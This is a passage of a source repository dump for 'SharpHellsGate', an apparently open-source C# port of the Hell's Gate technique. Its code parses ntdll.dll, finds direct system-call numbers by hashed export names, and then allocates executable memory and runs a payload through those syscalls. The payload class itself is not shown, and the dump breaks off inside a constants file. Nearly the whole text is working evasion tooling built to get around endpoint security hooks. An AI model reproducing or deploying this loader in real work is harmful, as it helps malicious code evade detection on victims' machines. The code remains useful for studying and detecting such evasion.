0x00)\r\n                length++;\r\n\r\n            Span<byte> s = length <= 1024 ? stackalloc byte[length] : new byte[length];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return Encoding.ASCII.GetString(s);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Extract the byte representation of a structure from the memory stream.\r\n        /// </summary>\r\n        /// <typeparam name=\"T\">The Type of the structure to extract from the memory stream.</typeparam>\r\n        /// <param name=\"offset\">The location of the structure in the memory stream.</param>\r\n        /// <returns>The structure as byte span.</returns>\r\n        protected Span<byte> GetStructureBytesFromOffset<T>(Int64 offset) where T : struct {\r\n            Span<byte> s = stackalloc byte[Marshal.SizeOf<T>()];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return s.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get a specific amount of bytes at a specific location in the memory stream.\r\n        /// </summary>\r\n        /// <param name=\"offset\">The location of the bytes to extract from the memory stream.</param>\r\n        /// <param name=\"size\">The number of bytes to extract from the memory stream at a give location.</param>\r\n        /// <returns>The desired bytes as a byte span.</returns>\r\n        protected Span<byte> GetBytesFromOffset(Int64 offset, int size) {\r\n            Span<byte> s = size >= 1024 ? new byte[size] : stackalloc byte[size];\r\n            this.ModuleStream.Seek(offset, SeekOrigin.Begin);\r\n            this.ModuleStream.Read(s);\r\n            return s.ToArray();\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/Module/SystemModule.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing SharpHellsGate.Win32;\r\nusing System.Collections.Generic;\r\nusing System.Runtime.InteropServices;\r\nusing System.Linq;\r\n\r\nnamespace SharpHellsGate.Module {\r\n\r\n    /// <summary>\r\n    /// Wrapper around the NTDLL module.\r\n    /// Used to extract structures and find system calls.\r\n    /// </summary>\r\n    public class SystemModule : MemoryUtil {\r\n\r\n        /// <summary>\r\n        /// IMAGE_DOS_HEADER structure of the NTDLL module.\r\n        /// </summary>\r\n        public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; }\r\n\r\n        /// <summary>\r\n        /// IMAGE_NT_HEADERS64 structure of the NTDLL module.\r\n        /// </summary>\r\n        public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; }\r\n\r\n        /// <summary>\r\n        /// IMAGE_SECTION_HEADER structure from the NTDLL module.\r\n        /// </summary>\r\n        public List<Structures.IMAGE_SECTION_HEADER> ModuleSectionHeaders { get; private set; }\r\n\r\n        /// <summary>\r\n        /// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module.\r\n        /// </summary>\r\n        public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; }\r\n\r\n        /// <summary>\r\n        /// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure.\r\n        /// </summary>\r\n        public Int64 ModuleExportDirectoryOffset { get; private set; }\r\n\r\n        /// <summary>\r\n        /// Location in the memory stream of the exported functions' name.\r\n        /// </summary>\r\n        public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; }\r\n\r\n        /// <summary>\r\n        /// Location in the memory stream of the exported functions' address.\r\n        /// </summary>\r\n        public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; }\r\n\r\n        /// <summary>\r\n        /// Location in the memory stream of the exported functions' ordinal.\r\n        /// </summary>\r\n        public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; }\r\n\r\n        /// <summary>\r\n        /// Name of the module. Will be NTDLL.\r\n        /// </summary>\r\n        public string ModuleName { get; private set; }\r\n\r\n        /// <summary>\r\n        /// Path of the module. Will be %WINDIR%\\System32\\ntdll.dll\r\n        /// </summary>\r\n        public string ModulePath { get; private set; }\r\n\r\n        /// <summary>\r\n        /// .ctor\r\n        /// </summary>\r\n        /// <param name=\"name\">Name of the module</param>\r\n        public SystemModule(string name) : base() {\r\n            this.ModuleName = name;\r\n            this.ModulePath = $\"{Environment.SystemDirectory}\\\\{name}\";\r\n            this.ModuleSectionHeaders = new List<Structures.IMAGE_SECTION_HEADER>() { };\r\n\r\n            this.LoadModule();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Load the module into a memory stream.\r\n        /// </summary>\r\n        /// <returns>Whether the loading process was a success.</returns>\r\n        public bool LoadModule() {\r\n            if (string.IsNullOrEmpty(this.ModuleName)) {\r\n                Util.LogError(\"Module name not provided\");\r\n                return false;\r\n            }\r\n\r\n            if (!File.Exists(this.ModulePath)) {\r\n                Util.LogError($\"Unable to find module: {this.ModuleName}\");\r\n                return false;\r\n            }\r\n\r\n            ReadOnlySpan<byte> ModuleBlob = File.ReadAllBytes(this.ModulePath);\r\n            if (ModuleBlob.Length == 0x00) {\r\n                Util.LogError($\"Empty module content: {this.ModuleName}\");\r\n                return false;\r\n            }\r\n\r\n            base.ModuleStream = new MemoryStream(ModuleBlob.ToArray());\r\n            return true;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Reload all structures.\r\n        /// </summary>\r\n        /// <returns>Whether all structures were successfully reloaded.</returns>\r\n        public bool LoadAllStructures() {\r\n            if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER)))\r\n                return false;\r\n\r\n            if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64)))\r\n                return false;\r\n\r\n            if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections)\r\n                return false;\r\n\r\n            if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)))\r\n                return false;\r\n\r\n            return true;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get the _IMAGE_DOS_HEADERstructure from the module.\r\n        /// </summary>\r\n        /// <param name=\"ReloadCache\">Whether the data has to re-processed if not already cached.</param>\r\n        /// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>\r\n        public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) {\r\n            if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache)\r\n                return this.ModuleDOSHeader;\r\n\r\n            if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {\r\n                Util.LogError(\"Module not loaded\");\r\n                return default;\r\n            }\r\n\r\n            this.ModuleDOSHeader = base.GetStructureFromBlob<Structures.IMAGE_DOS_HEADER>(0);\r\n            if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) {\r\n                Util.LogError(\"Invalid DOS header signature\");\r\n                return default;\r\n            }\r\n\r\n            return this.ModuleDOSHeader;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get the IMAGE_NT_HEADERS64 structure from the module.\r\n        /// </summary>\r\n        /// <param name=\"ReloadCache\">Whether the data has to re-processed if not already cached.</param>\r\n        /// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>\r\n        public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) {\r\n            if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache)\r\n                return this.ModuleNTHeaders;\r\n\r\n            if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {\r\n                Util.LogError(\"Module not loaded\");\r\n                return default;\r\n            }\r\n\r\n            if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)))\r\n                this.GetModuleDOSHeader();\r\n\r\n            this.ModuleNTHeaders = base.GetStructureFromBlob<Structures.IMAGE_NT_HEADERS64>(this.ModuleDOSHeader.e_lfanew);\r\n            if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) {\r\n                Util.LogError(\"Invalid NT headers signature\");\r\n                return default;\r\n            }\r\n\r\n            return this.ModuleNTHeaders;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get list of _IMAGE_SECTION_HEADER structures from the module. \r\n        /// </summary>\r\n        /// <param name=\"ReloadCache\">Whether the data has to re-processed if not already cached.</param>\r\n        /// <returns>The list of _IMAGE_SECTION_HEADER structures.</returns>\r\n        public List<Structures.IMAGE_SECTION_HEADER> GetModuleSectionHeaders(bool ReloadCache = false) {\r\n            if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache)\r\n                return this.ModuleSectionHeaders;\r\n\r\n            if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {\r\n                Util.LogError(\"Module not loaded\");\r\n                return default;\r\n            }\r\n\r\n            if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER)))\r\n                this.GetModuleNTHeaders();\r\n\r\n            for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) {\r\n                Int64 iSectionOffset = this.GetModuleSectionOffset(cx);\r\n\r\n                Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob<Structures.IMAGE_SECTION_HEADER>(iSectionOffset);\r\n                if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER)))\r\n                    this.ModuleSectionHeaders.Add(ImageSection);\r\n            }\r\n\r\n            return this.ModuleSectionHeaders;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get a _IMAGE_SECTION_HEADER structure by name.\r\n        /// </summary>\r\n        /// <param name=\"name\">The name of the section.</param>\r\n        /// <returns>The _IMAGE_SECTION_HEADER structure if exists.</returns>\r\n        public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) {\r\n            if (name.Length > 8) {\r\n                Util.LogError(\"Invalid section name\");\r\n                return default;\r\n            }\r\n\r\n            if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {\r\n                Util.LogError(\"Module not loaded\");\r\n                return default;\r\n            }\r\n\r\n            if (this.ModuleSectionHeaders.Count == 0x00)\r\n                this.GetModuleSectionHeaders();\r\n\r\n            return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get the Export Address Table (aka EAT) from the module.\r\n        /// </summary>\r\n        /// <param name=\"ReloadCache\">Whether the data has to re-processed if not already cached.</param>\r\n        /// <returns>the _IMAGE_EXPORT_DIRECTORY structure</returns>\r\n        public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) {\r\n            if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache)\r\n                return this.ModuleExportDirectory;\r\n\r\n            if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {\r\n                Util.LogError(\"Module not loaded\");\r\n                return default;\r\n            }\r\n\r\n            if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)))\r\n                this.GetModuleNTHeaders();\r\n            \r\n            if (this.ModuleSectionHeaders.Count == 0x00)\r\n                this.GetModuleSectionHeaders();\r\n\r\n            this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress);\r\n            this.ModuleExportDirectory = base.GetStructureFromBlob<Structures.IMAGE_EXPORT_DIRECTORY>(this.ModuleExportDirectoryOffset);\r\n            if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) {\r\n                Util.LogError(\"Invalid export address table (EAT).\");\r\n                return default;\r\n            }\r\n\r\n            // Parse all functions\r\n            this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames);\r\n            this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions);\r\n            this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals);\r\n            return this.ModuleExportDirectory;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get the address, name, system call for a given function hash.\r\n        /// </summary>\r\n        /// <param name=\"FunctionHash\">DJB2 function hash.</param>\r\n        /// <returns></returns>\r\n        public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) {\r\n            if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00)\r\n                this.GetModuleExportDirectory();\r\n\r\n            if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {\r\n                Util.LogError(\"Module not loaded\");\r\n                return default;\r\n            }\r\n\r\n            Util.APITableEntry Entry = new Util.APITableEntry {\r\n                Hash = FunctionHash\r\n            };\r\n\r\n            for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) {\r\n                UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx));\r\n                string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName));\r\n\r\n                if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) {\r\n                    UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1)));\r\n                    Span<byte> opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress));\r\n\r\n                    if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) {\r\n                        Entry.Name = FunctionName;\r\n                        Entry.Address = PtrFunctionAdddress;\r\n                        Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]);\r\n                        return Entry;\r\n                    }\r\n                }\r\n            }\r\n\r\n            return default;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Get the offset of a _IMAGE_SECTION_HEADER structure. \r\n        /// </summary>\r\n        /// <param name=\"cx\">The section to get.</param>\r\n        /// <returns>The _IMAGE_SECTION_HEADER structure.</returns>\r\n        private Int64 GetModuleSectionOffset(Int16 cx)\r\n            => this.ModuleDOSHeader.e_lfanew\r\n            + Marshal.SizeOf<Structures.IMAGE_FILE_HEADER>()\r\n            + this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader\r\n            + sizeof(Int32) // sizeof(DWORD)\r\n            + (Marshal.SizeOf<Structures.IMAGE_SECTION_HEADER>() * cx);\r\n\r\n        /// <summary>\r\n        /// Convert a relative virtual address (RVA) into an offset.\r\n        /// </summary>\r\n        /// <param name=\"rva\">The RVA to convert into an offset in the iamge.</param>\r\n        /// <param name=\"SectionHeader\">The section in which the relative virtual address (RVA) points to.</param>\r\n        /// <returns>The offset.</returns>\r\n        private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData;\r\n\r\n        /// <summary>\r\n        /// Convert a relative virtual address (RVA) into an offset.\r\n        /// </summary>\r\n        /// <param name=\"rva\">The RVA to convert into an offset in the iamge.</param>\r\n        /// <returns>The offset.</returns>\r\n        private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva));\r\n\r\n        /// <summary>\r\n        /// Get which image section is which a relative virtual address (RVA) points to.\r\n        /// </summary>\r\n        /// <param name=\"rva\">The RVA</param>\r\n        /// <returns>The _IMAGE_SECTION_HEADER structure</returns>\r\n        private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First();\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/Program.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing SharpHellsGate.Module;\r\n\r\nnamespace SharpHellsGate {\r\n\r\n    /// <summary>\r\n    /// Main class.\r\n    /// </summary>\r\n    public class Program {\r\n\r\n        /// <summary>\r\n        /// Entry point of the program.\r\n        /// </summary>\r\n        /// <param name=\"args\">Command line arguments.</param>\r\n        static void Main(string[] args) {\r\n            Util.LogInfo(\"Copyright (C) 2020 Paul Laine (@am0nsec)\");\r\n            Util.LogInfo(\"C# Implementation of the Hell's Gate VX Technique\");\r\n            Util.LogInfo(\"   --------------------------------------------------\\n\", 0, \"\");\r\n\r\n            // Only works for x86\r\n            if (IntPtr.Size != 8) {\r\n                Util.LogError(\"Project only tested in x64 context.\\n\");\r\n                return;\r\n            }\r\n            \r\n            // Load the module and get everything ready\r\n            SystemModule ntdll = new SystemModule(\"ntdll.dll\");\r\n            ntdll.LoadAllStructures();\r\n\r\n            // Resolve all the system calls \r\n            Dictionary<UInt64, Util.APITableEntry> APITable = new Dictionary<ulong, Util.APITableEntry>() {\r\n                { Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) },\r\n                { Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) },\r\n                { Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) },\r\n                { Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) }\r\n            };\r\n            ntdll.Dispose();\r\n\r\n            Util.LogInfo($\"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}\");\r\n            Util.LogInfo($\"NtProtectVirtualMemory:  0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}\");\r\n            Util.LogInfo($\"NtWaitForSingleObject:   0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}\");\r\n            Util.LogInfo($\"NtCreateThreadEx:        0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\\n\");\r\n\r\n            HellsGate gate = new HellsGate(APITable);\r\n            gate.GenerateRWXMemorySegment();\r\n            gate.Payload();\r\n            return;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/SharpHellsGate.csproj",
    "content": "<Project Sdk=\"Microsoft.NET.Sdk\">\r\n\r\n  <PropertyGroup>\r\n    <OutputType>Exe</OutputType>\r\n    <TargetFramework>net5.0</TargetFramework>\r\n  </PropertyGroup>\r\n\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|AnyCPU'\">\r\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\r\n    <PlatformTarget>x64</PlatformTarget>\r\n  </PropertyGroup>\r\n\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|AnyCPU'\">\r\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\r\n    <PlatformTarget>x64</PlatformTarget>\r\n  </PropertyGroup>\r\n\r\n</Project>\r\n"
  },
  {
    "path": "SharpHellsGate/Util.cs",
    "content": "﻿using System;\r\nusing System.Diagnostics;\r\n\r\nnamespace SharpHellsGate {\r\n\r\n    /// <summary>\r\n    /// Util class. Used mainly for debug output.\r\n    /// </summary>\r\n    public class Util {\r\n\r\n        /// <summary>\r\n        /// Structure used to store the name, address, system call and hash of a native Windows function.\r\n        /// </summary>\r\n        public struct APITableEntry {\r\n            public string Name;\r\n            public Int64 Address;\r\n            public Int16 Syscall;\r\n            public UInt64 Hash;\r\n        }\r\n\r\n        /// <summary>\r\n        /// DJB2 Hash of the NtAllocateVirtualMemory function name.\r\n        /// </summary>\r\n        public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b;\r\n\r\n        /// <summary>\r\n        /// DJB2 Hash of the NtProtectVirtualMemory function name.\r\n        /// </summary>\r\n        public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37;\r\n\r\n        /// <summary>\r\n        /// DJB2 Hash of the NtCreateThreadEx function name.\r\n        /// </summary>\r\n        public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f;\r\n\r\n        /// <summary>\r\n        /// DJB2 Hash of the NtWaitForSingleObject function name.\r\n        /// </summary>\r\n        public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb;\r\n\r\n\r\n        /// <summary>\r\n        /// Log an informational information.\r\n        /// </summary>\r\n        /// <param name=\"msg\">Message to log.</param>\r\n        /// <param name=\"indent\">Indentation level.</param>\r\n        /// <param name=\"prefix\">Message prefix.</param>\r\n        public static void LogInfo(string msg, int indent = 0, string prefix = \"[>]\") {\r\n#if DEBUG\r\n            if (string.IsNullOrEmpty(msg))\r\n                return;\r\n\r\n            LogMessage(msg, prefix, indent, ConsoleColor.Blue);\r\n#endif\r\n        }\r\n\r\n        /// <summary>\r\n        /// Log an error information.\r\n        /// </summary>\r\n        /// <param name=\"msg\">Message to log.</param>\r\n        /// <param name=\"indent\">Indentation level.</param>\r\n        /// <param name=\"prefix\">Message prefix.</param>\r\n        public static void LogError(string msg, int indent = 0, string prefix = \"[-]\") {\r\n#if DEBUG\r\n            if (string.IsNullOrEmpty(msg))\r\n                return;\r\n\r\n            LogMessage(msg, prefix, indent, ConsoleColor.Red);\r\n#endif\r\n        }\r\n\r\n        /// <summary>\r\n        /// Log a success information.\r\n        /// </summary>\r\n        /// <param name=\"msg\">Message to log.</param>\r\n        /// <param name=\"indent\">Indentation level.</param>\r\n        /// <param name=\"prefix\">Message prefix</param>\r\n        public static void LogSuccess(string msg, int indent = 0, string prefix = \"[+]\") {\r\n#if DEBUG\r\n            if (string.IsNullOrEmpty(msg))\r\n                return;\r\n\r\n            LogMessage(msg, prefix, indent, ConsoleColor.Green);\r\n#endif\r\n        }\r\n\r\n        /// <summary>\r\n        /// Log a string to the console and to the debugger. \r\n        /// </summary>\r\n        /// <param name=\"msg\">Message to log.</param>\r\n        /// <param name=\"indent\">Indentation level.</param>\r\n        /// <param name=\"prefix\">Message prefix.</param>\r\n        /// <param name=\"color\">The color of the prifix on the console.</param>\r\n        private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) {\r\n            // Indent\r\n            Console.Write(new String(' ', indent));\r\n            Trace.Write(new String(' ', indent));\r\n\r\n            // Color and prefix\r\n            Trace.Write(prefix);\r\n            Console.ForegroundColor = color;\r\n            Console.Write(prefix);\r\n            Console.ResetColor();\r\n\r\n            // Message\r\n            Console.WriteLine($\" {msg}\");\r\n            Trace.WriteLine($\" {msg}\");\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// Revisited DJB2 algorithm.\r\n        /// </summary>\r\n        /// <param name=\"FunctionName\">The ASCII name of a function.</param>\r\n        /// <returns>The djb2 hash of the function name.</returns>\r\n        public static UInt64 GetFunctionDJB2Hash(string FunctionName) {\r\n            if (string.IsNullOrEmpty(FunctionName))\r\n                return 0;\r\n\r\n            UInt64 hash = 0x7734773477347734;\r\n            foreach (char c in FunctionName)\r\n                hash = ((hash << 0x5) + hash) + (byte)c;\r\n\r\n            return hash;\r\n        }\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/Win32/DFunctions.cs",
    "content": "﻿using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace SharpHellsGate.Win32 {\r\n\r\n    /// <summary>\r\n    /// Contains all the delegates used to execute the system calls.\r\n    /// </summary>\r\n    public class DFunctions {\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtAllocateVirtualMemory native Windows function\r\n        /// </summary>\r\n        /// <param name=\"ProcessHandle\">A handle for the process for which the mapping should be done.</param>\r\n        /// <param name=\"BaseAddress\">A pointer to a variable that will receive the base address of the allocated region of pages.</param>\r\n        /// <param name=\"ZeroBits\">The number of high-order address bits that must be zero in the base address of the section view.</param>\r\n        /// <param name=\"RegionSize\">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>\r\n        /// <param name=\"AllocationType\">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>\r\n        /// <param name=\"Protect\">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>\r\n        /// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>\r\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n        public delegate uint NtAllocateVirtualMemory(\r\n            IntPtr ProcessHandle,\r\n            ref IntPtr BaseAddress,\r\n            IntPtr ZeroBits,\r\n            ref IntPtr RegionSize,\r\n            UInt32 AllocationType,\r\n            UInt32 Protect\r\n        );\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtProtectVirtualMemory native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"ProcessHandle\">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>\r\n        /// <param name=\"BaseAddress\">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>\r\n        /// <param name=\"NumberOfBytesToProtect\">Pointer to size of region to protect. On output will be round to page size (4KB).</param>\r\n        /// <param name=\"NewAccessProtection\">One or some of PAGE_... attributes.</param>\r\n        /// <param name=\"OldAccessProtection\">Receive previous protection.</param>\r\n        /// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>\r\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n        public delegate uint NtProtectVirtualMemory(\r\n            IntPtr ProcessHandle,\r\n            ref IntPtr BaseAddress,\r\n            ref IntPtr RegionSize,\r\n            UInt32 NewProtect,\r\n            out UInt32 OldProtect\r\n        );\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtCreateThreadEx native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"hThread\">Caller supplied storage for the resulting handle.</param>\r\n        /// <param name=\"DesiredAccess\">Specifies the allowed or desired access to the thread.</param>\r\n        /// <param name=\"ObjectAttributes\">Initialized attributes for the object.</param>\r\n        /// <param name=\"ProcessHandle\">Handle to the threads parent process.</param>\r\n        /// <param name=\"lpStartAddress\">Address of the function to execute.</param>\r\n        /// <param name=\"lpParameter\">Parameters to pass to the function.</param>\r\n        /// <param name=\"CreateSuspended\">Whether the thread will be in suspended mode and has to be resumed later.</param>\r\n        /// <param name=\"StackZeroBits\"></param>\r\n        /// <param name=\"SizeOfStackCommit\">Initial stack memory to commit.</param>\r\n        /// <param name=\"SizeOfStackReserve\">Initial stack memory to reserve.</param>\r\n        /// <param name=\"lpBytesBuffer\"></param>\r\n        /// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>\r\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n        public delegate uint NtCreateThreadEx(\r\n            ref IntPtr hThread,\r\n            uint DesiredAccess,\r\n            IntPtr ObjectAttributes,\r\n            IntPtr ProcessHandle,\r\n            IntPtr lpStartAddress,\r\n            IntPtr lpParameter,\r\n            bool CreateSuspended,\r\n            uint StackZeroBits,\r\n            uint SizeOfStackCommit,\r\n            uint SizeOfStackReserve,\r\n            IntPtr lpBytesBuffer\r\n        );\r\n\r\n        /// <summary>\r\n        /// Managed wrapper around the NtWaitForSingleObject native Windows function.\r\n        /// </summary>\r\n        /// <param name=\"ObjectHandle\">Open handle to a alertable executive object.</param>\r\n        /// <param name=\"Alertable\">If set, calling thread is signaled, so all queued APC routines are executed.</param>\r\n        /// <param name=\"TimeOuts\">Time-out interval, in microseconds. NULL means infinite.</param>\r\n        /// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>\r\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n        public delegate uint NtWaitForSingleObject(\r\n            IntPtr ObjectHandle,\r\n            bool Alertable,\r\n            ref Structures.LARGE_INTEGER TimeOut\r\n        );\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/Win32/Macros.cs",
    "content": "﻿using System;\r\n\r\nnamespace SharpHellsGate.Win32 {\r\n\r\n    /// <summary>\r\n    /// Windows Macros used for error and success codes and bitmasks.\r\n    /// </summary>\r\n    public static class Macros {\r\n\r\n        // NTSTATUS \r\n        public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF;\r\n        public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF;\r\n        public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF;\r\n        public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF;\r\n\r\n        // Common NTSTATUS\r\n        public static UInt32 STATUS_SUCCESS { get; } = 0x00000000;\r\n        public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001;\r\n        public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002;\r\n\r\n        // Portable Executable\r\n        public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D;          // MZ\r\n        public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00\r\n\r\n        // Pseudo-Handles\r\n        public static IntPtr GetCurrentProcess() => new IntPtr(-1);\r\n        public static IntPtr GetCurrentThread() => new IntPtr(-2);\r\n        public static IntPtr GetCurrentProcessToken() => new IntPtr(-4);\r\n        public static IntPtr GetCurrentThreadToken() => new IntPtr(-5);\r\n        public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6);\r\n\r\n        // Page and Memory permissions\r\n        public static UInt32 PAGE_NOACCESS { get; } = 0x01;\r\n        public static UInt32 PAGE_READONLY { get; } = 0x02;\r\n        public static UInt32 PAGE_READWRITE { get; } = 0x04;\r\n        public static UInt32 PAGE_WRITECOPY { get; } = 